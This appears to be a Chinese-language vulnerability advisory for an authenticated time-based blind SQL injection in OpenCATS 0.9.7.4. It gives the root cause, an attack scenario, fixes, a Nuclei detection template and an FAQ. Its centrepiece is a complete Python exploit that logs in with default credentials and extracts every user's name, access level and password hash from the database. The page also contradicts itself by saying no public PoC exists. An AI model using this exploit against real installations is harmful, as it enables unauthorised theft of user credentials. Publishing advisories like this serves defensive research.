[webapps] OpenCATS 0.9.7.4 - SQL Injection

OpenCATS 0.9.7.4 存在严重SQL注入漏洞,经过身份验证的攻击者可通过/ajax.php请求构造时间盲注,提取数据库版本、数据库名及用户密码哈希。本文提供PoC分析、攻击场景及修复方案。

未分配CVE

OpenCATS 0.9.7.4 存在基于时间的盲SQL注入,可泄露用户密码哈希等敏感数据。

Critical · CVSS 9.1

📋 漏洞基础信息

CVE未分配CVE
漏洞类型SQL注入
受影响版本OpenCATS <= 0.9.7.4
危害等级Critical · CVSS 9.1
发布日期2026-05-27
提交者Gabriel Rodrigues (TEXUGO) from HAKAI
来源Exploit-DB 原文 ↗

🔬 漏洞根因

ajax.php 中 getDataGridPager 功能对参数 'p' 中的 'sortDirection' 值未进行充分过滤或参数化处理,直接将用户可控的字符串拼接进 SQL 查询,导致可注入 SQL 语句。

🎯 攻击场景

1. 攻击者拥有合法用户凭据(如admin/cats),通过Post登录获取session。2. 向 /ajax.php 发送GET请求,参数 f=getDataGridPager,i=candidates:candidatesListByViewDataGrid,p 为JSON包含sortDirection字段,payload为恶意SQL。3. 利用SLEEP()函数观测响应延迟确认注入点。4. 使用二分法逐字符盲注提取版本、数据库名、用户名、access_level及密码哈希。5. 获取哈希后可尝试破解或直接利用。成功标志:提取到完整用户表密码哈希。

💥 漏洞影响

攻击者可利用SQL注入提取数据库中的所有user表的密码哈希,导致用户凭据泄露,可能继续用于社工或横向移动。尚无证据表明可直接RCE,但可进一步枚举其他表。

⚔️ 原始 PoC

1. 定义sqi函数向/ajax.php发送恶意sortDirection注入payload,并记录响应时间。2. blind函数利用IF条件+ SLEEP(delay)构造时间盲注,判断条件真假。3. extract函数使用二分法逐字符提取查询结果,从32~126 ASCII码范围比较。4. 先通过SLEEP(2)确认注入有效(baseline与sleep响应时间差>1s)。5. 利用extract提取@@version、database()、user表的count、user_name、access_level、password。

# Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI
import requests, json, sys, time

url   = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888"
user  = sys.argv[2] if len(sys.argv) > 2 else "admin"
pw    = sys.argv[3] if len(sys.argv) > 3 else "cats"
delay = 1.5

s = requests.Session()
s.get(f"{url}/index.php")
s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True)

def sqli(payload):
    t = time.time()
    s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager",
        "i": "candidates:candidatesListByViewDataGrid",
        "p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})})
    return time.time() - t

def blind(cond):
    return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6

def extract(query, maxlen=100):
    out = ""
    for i in range(1, maxlen + 1):
        if blind(f"LENGTH({query})<{i}"): break
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid)
        out += chr(lo)
    return out

base = sqli("DESC")
slp  = sqli("DESC,SLEEP(2)")
print(f"baseline={base:.2f}s  sleep(2)={slp:.2f}s")
assert slp > base + 1, "not vulnerable or no candidate rows"
print("injection confirmed\n")

print("version:", extract("@@version", 30))
print("database:", extract("DATABASE()", 20))

n = int(extract("(SELECT COUNT(*) FROM user)", 3))
print(f"users: {n}\n")
for i in range(n):
    name  = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40)
    level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5)
    hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62)
    print(f"  {name}  level={level}  hash={hash_}")

🔬 深度技术分析

1. 定义sqi函数向/ajax.php发送恶意sortDirection注入payload,并记录响应时间。2. blind函数利用IF条件+ SLEEP(delay)构造时间盲注,判断条件真假。3. extract函数使用二分法逐字符提取查询结果,从32~126 ASCII码范围比较。4. 先通过SLEEP(2)确认注入有效(baseline与sleep响应时间差>1s)。5. 利用extract提取@@version、database()、user表的count、user_name、access_level、password。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: opencats-0-9-7-4-detection

info:
  name: OpenCATS 0.9.7.4 - Version Detection
  author: texugo-hakai
  severity: info
  metadata:
    verified: true
    shodan-query: http.html:"OpenCATS"
  tags: opencats,detection,version

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "OpenCATS"
        part: body

      - type: regex
        regex:
          - '<meta name="generator"[^>]*content="OpenCATS[^0-9]*([0-9]+\.[0-9]+\.[0-9]+)'
        part: body

    extractors:
      - type: regex
        regex:
          - 'OpenCATS[^0-9]*([0-9]+\.[0-9]+\.[0-9]+)'
        part: body
        group: 1

🛡️ 修复建议

官方需发布补丁版本,对sortDirection等用户输入使用预编译语句或参数化查询。临时缓解:在Web应用防火墙中添加规则,过滤请求中sortDirection字段的关键词如SLEEP、BENCHMARK、UNION等;限制ajax.php仅接受白名单排序方向值ASC/DESC。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-29 08:09 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 该漏洞是否需要认证?

需要,攻击者须拥有至少一个有效用户凭据,使用username和password登录后获取session才能触发SQL注入。

❓ PoC中SLEEP函数的具体作用?

用于构建时间盲注判断条件。通过观察响应时间是否大于正常基准值+N秒来区分真/假条件,从而逐字符提取数据。

❓ 如何修复此漏洞?

对sortDirection使用白名单验证仅允许ASC或DESC;或改用参数化查询绑定的方式避免拼接;升级至官方修复版本。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)